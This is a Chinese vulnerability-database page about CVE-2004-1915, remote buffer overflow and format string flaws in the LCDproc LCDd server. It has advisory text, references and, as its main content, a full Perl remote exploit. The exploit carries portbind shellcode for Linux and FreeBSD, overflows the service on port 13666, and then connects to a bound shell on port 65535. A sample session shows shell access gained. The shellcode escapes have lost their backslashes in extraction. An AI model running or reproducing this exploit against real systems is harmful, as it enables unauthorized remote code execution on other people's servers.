LCDproc LCDd多个远程漏洞

LCDproc LCDd多个远程漏洞

漏洞ID 1107858 漏洞类型 缓冲区溢出
发布时间 2004-04-08 更新时间 2005-10-20
图片[1]-LCDproc LCDd多个远程漏洞-安全小百科CVE编号 CVE-2004-1915
图片[2]-LCDproc LCDd多个远程漏洞-安全小百科CNNVD-ID CNNVD-200404-006
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/23936
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200404-006
|漏洞详情
LCDproc0.4.x到0.4.4版本的parse_all_client_messages函数存在缓冲区溢出漏洞。远程攻击者借助大量的参数执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/10085/info

LCDproc Server (LCDd) has been reported to be prone to multiple remote vulnerabilities.

The first issue is reported to exist in the parse_all_client_messages() function of parse.c, and is due to a lack of sufficient boundary checks performed on user-supplied arguments. A remote attacker may exploit this vulnerability to execute arbitrary instructions in the context of the vulnerable service.

The second issue exists in the test_func_func() function of client_functions.c. Due to a lack of sufficient boundary checks an attacker may pass data to the function in a manner that is sufficient to trigger a buffer overflow. An attacker may leverage this condition to execute code in the context of the affected service.

Finally due the an erroneous implementation of a formatted print function contained in the test_func_func() function of client_functions.c.A remote attacker may supply format specifier characters. An attacker may leverage this condition to execute code in the context of the affected service. 

#!/usr/bin/perl
# Priv8security.com remote exploit for lcdproc server version 0.4.1 and lower.
#
#   Vendor Url: http://lcdproc.omnipotent.net/
#   Play with offset "-o" to get shell.
#
#   [wsxz@localhost wsxz]$ perl priv8lcd.pl -h localhost -t 0
#
#   -=[ Priv8security.com LCDproc Server 0.4.1 and lower remote exploit ]=-
#
#   Connected!
#   [+] Using address: 0xbfffd904
#   [+] Checking version... Done!
#       Server is vuln :P
#   [+] Sending stuff... Done!
#   [+] Do we got a shell?
#   [+] Enjoy your stay on this server =)
#
#   ******  Welcome to 'localhost'  ******
#
#   Linux localhost.localdomain 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003
#   i686 unknown unknown GNU/Linux
#   uid=503(wsxz) gid=503(wsxz) groups=503(wsxz),13(news)
#
################################################################################

use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', %args);


if (defined($args{'h'})) { $host   = $args{'h'}; }
if (defined($args{'p'})) { $port   = $args{'p'}; }else{$port = 13666;}
if (defined($args{'t'})) { $system = $args{'t'}; }
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

print "n-=[ Priv8security.com LCDproc Server 0.4.1 and lower remote exploit ]=-nn";
if(!defined($host)){
print "Usage:
        -h <host>
	-p port <default 13666>
	-t target:
	    0 - linux
	    1 - freebsd
	-o <offset>nn";
exit(1);
}

#Priv8 portbind shellcode by Ramon de Carvalho
$shellinux =
"x31xdbxf7xe3x53x43x53x6a".
"x02x89xe1xb0x66xcdx80xff".
"x49x02x6ax10x51x50x89xe1".
"x43xb0x66xcdx80x89x41x04".
"xb3x04xb0x66xcdx80x43xb0".
"x66xcdx80x59x93xb0x3fxcd".
"x80x49x79xf9x68x2fx2fx73".
"x68x68x2fx62x69x6ex89xe3".
"x52x53x89xe1xb0x0bxcdx80";
#Priv8 portbind shellcode by Ramon de Carvalho
$shellfree =
"x31xc0x50x6ax01x6ax02x89".
"xe7x50xb0x61xcdx80xffx4f".
"x02x6ax10x57x50x50xb0x68".
"xcdx80x89x47xf4xb0x6axcd".
"x80xb0x1excdx80x50x50xb0".
"x5axcdx80xffx4fxecx79xf7".
"x50x68x2fx2fx73x68x68x2f".
"x62x69x6ex89xe3x50x54x53".
"x50xb0x3bxcdx80";

if ($system == 1 ){#freebsd buffer
  $ret = 0xbfbfde58;
  $shellcode = $shellfree;
}

if ($system == 0){#linux buffer
  $ret = 0xbfffd658;
  $shellcode = $shellinux;
}

  $new_ret = pack('l', ($ret + $offset));
  $buffer .= "x90" x (1322 - length($shellcode));
  $buffer .= $shellcode;
  $buffer .= $new_ret x 10;

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] Cant connectn";

  print "Connected!n";
  print "[+] Using address: 0x", sprintf('%lx',($ret)), "n";
  print STDERR "[+] Checking version...";
  print $sock "hellon";
  $awser = <$sock>;

    if($awser =~ /0.4.3/ || $awser =~ /0.4.4/  ){
      print STDERR " Done!n";
      print STDERR "[-] The server is not vuln.n";
      exit(1);
    }
  print STDERR " Done!n";
  print STDERR "    Server is vuln :Pn";
  print STDERR "[+] Sending stuff... ";
  sleep(2);
  print $sock "$buffern";
  print STDERR "Done!n";
  print "[+] Do we got a shell?n";

  sleep(3);

$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset next time ok.n";

  print "[+] Enjoy your stay on this server =)n";

  $sc->autoflush(1);
  print $sc "echo;echo "******  Welcome to '`hostname`'  ******"n";
  print $sc "echo;uname -a;id;echon";

  die "cant fork: $!" unless defined($pid = fork());

  if ($pid) {
      while(defined ($line = <$sc>)) {
          print STDOUT $line;
      }
      kill("TERM", $pid);
  }
  else
  {
      while(defined ($line = <STDIN>)) {
          print $sc $line;
      }
  }
  close($sc);
  print "Good bye!!n";
|参考资料

来源:XF
名称:lcdproc-parseallclientmessages-bo(15803)
链接:http://xforce.iss.net/xforce/xfdb/15803
来源:BID
名称:10085
链接:http://www.securityfocus.com/bid/10085
来源:GENTOO
名称:GLSA-200404-19
链接:http://security.gentoo.org/glsa/glsa-200404-19.xml
来源:SECUNIA
名称:11333
链接:http://secunia.com/advisories/11333
来源:BUGTRAQ
名称:20040408PSR-#2004-001Remote-LCDProc
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108145722229810&w;=2
来源:lists.omnipotent.net
链接:http://lists.omnipotent.net/pipermail/lcdproc/2004-April/008884.html

相关推荐: PGP / GnuPG Chosen Ciphertext Message Disclosure Vulnerability

PGP / GnuPG Chosen Ciphertext Message Disclosure Vulnerability 漏洞ID 1101709 漏洞类型 Design Error 发布时间 2002-08-12 更新时间 2002-08-12 CVE编…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享